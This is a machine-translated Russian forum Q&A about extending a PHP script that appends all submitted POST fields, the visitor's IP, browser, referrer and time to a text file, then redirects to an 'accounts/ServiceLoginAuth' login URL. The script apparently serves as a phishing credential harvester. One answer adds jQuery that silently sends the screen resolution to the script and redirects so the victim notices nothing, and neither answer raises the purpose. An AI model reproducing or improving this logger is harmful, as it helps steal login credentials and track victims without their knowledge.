2015-06-03 2 views
0

У меня есть существующий кусок кода, который я использую для входа определенных данных в текстовом файл:Объединить выход JavaScript с PHP?

<?php 

    header("Location: https://www.example.com/accounts/ServiceLoginAuth "); 
    $handle = fopen("file.txt", "a"); 

    $post = $_POST; 
    $post['IP'] = $_SERVER['REMOTE_ADDR']; 
    $post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT']; 
    $post['Referrer'] = $_SERVER['HTTP_REFERER']; 
    $post['Date&Time'] = date("l jS \of F Y h:i:s A"); 

    foreach($post as $variable => $value) 
    { 
     fwrite($handle, $variable); 
     fwrite($handle, "="); 
     fwrite($handle, $value); 
     fwrite($handle, PHP_EOL); 
    } 

    fwrite($handle, PHP_EOL); 
    fclose($handle); 
    exit; 

?> 

Я также хочу, чтобы записать разрешение экрана, но, по-видимому, нет никакого способа, чтобы сделать это и only possible with JS:

var screenWidth = window.screen.width, 
    screenHeight = window.screen.height; 

Как я могу получить эту информацию для записи в том же файле?

PS: Я не могу использовать JQuery ... :(

***** ***** EDIT

Хорошо, я могу использовать JQuery, но выход все же должен быть в том же текстовом файле ...

+0

Я также встречаюсь с полным noob ... – rahuldottech

+0

Отправьте данные со страницы и отнесите ее к своей функции, а затем сохраните ее. –

+0

Я думаю, что это решит вашу проблему http://stackoverflow.com/questions/1504459/getting-the-screen-resolution-using-php –

ответ

1

Один из способов, который приходит на ум, вместо того, чтобы иметь существующий код на странице, на которой пользователь приземлился, имеет новый файл с Javascript, который, как вы уже знаете, может получить резолюция.

Затем введите эту новую начальную страницу POST в переменные разрешения на ваш php-скрипт в фоновом режиме, затем переменные разрешения будут частью массива POST и могут хранить их вместе с остальными вашими существующими данными POST.

POST'ing данные с использованием Javascript довольно рутинные, и, вероятно, это будет собственная тема, но я уверен, что вы можете найти неограниченные примеры по всему миру, JQuery делает это с меньшим количеством кода, но слишком плохо, что это не вариант :(

Edit: Пример ниже размещения на PHP с помощью JQuery

Сделать новый «landing.php» (не должно быть .php, может быть .html) или что-либо имя вы хотите, и пусть это будет, когда пользователь приземлится первым и поместит это в него. Это может быть существующая страница, на которую может наступить ваш пользователь, и в этом случае просто поместите это в нижнюю часть. Затем это произойдет в bac kground, пока пользователь идет о своем бизнесе.

<script type="text/javascript"> 

    var screenWidth = window.screen.width, 
     screenHeight = window.screen.height; 

    $.post('name_and_path_of_php_file_you_already_created.php', { 
      screenWidth: screenWidth, 
      screenHeight: screenHeight 
      }, function(data) { 

       // Can do something extra here, most likely redirect your 
       // user to a more meaningful page after the file is created 
       // using something like. 

       window.location.href = 'some_meaning_page.php'; 

       // Also in this case, 'data' variable will hold anything 
       // Outputted from the PHP if any, and is optional, but can 
       // be useful for echo'ing out some status code or something 
       // and make a decision. 

     }); 

</script> 

Поскольку существующий PHP скрипт уже петлями через $ _POST массива ($ пост в вашем случае) и делает пар ключ/значение, то это означает «screenWidth» и «ScreenHeight» ключ/значение будет автоматически добавлен в файл вместе с другими переменными.

Если вы можете добавить это на существующую страницу, на которой вы знаете, что пользователь приземлился, вам, вероятно, не нужно перенаправлять с помощью «window.location.href», но если это первая страница, они не заметят ничего, и вы захотите перенаправить их на какой-то контент, и для них это произойдет так быстро, что они не будут знать, что они были на одной странице и отправлены на другой, это будет просто похоже на страницу, на которую они пошли обычно загружалась.

Сообщите мне, если это неясно или если вам нужна помощь в другом аспекте.

+0

Отредактировано ... У вас есть думаю, что-нибудь можно сделать ??? – rahuldottech

+0

Если вы теперь можете использовать JQuery, я отредактирую свой ответ, чтобы включить пример. –

1

Вы не можете, по крайней мере, в то же время.

Пока ваш php выполняется, ваша страница все еще ожидает отправки клиенту (или он находится в процессе выполнения).

Ваш javascript будет выполнен во время загрузки страницы на стороне клиента, и нет никакой возможности воздействовать на HTTP-соединение браузера на ваш сервер.

Итак, если вы хотите получить эти данные на стороне сервера, вы должны отправить его через ajax на какой-нибудь скрипт, который его получит.

Хорошо. Он может изменить тот же файл. Но будьте осторожны, чтобы не накладывать другое исполнение скрипта, чтобы вы могли получить неожиданный результат.

Также имейте в виду, что вы не можете быть уверены, что клиент будет эффективно выполнять ваш javascript или даже сможет завершить соединение ajax, чтобы отправить вам эту информацию, чтобы вам нужно было иметь незавершенные регистры.

Смежные вопросы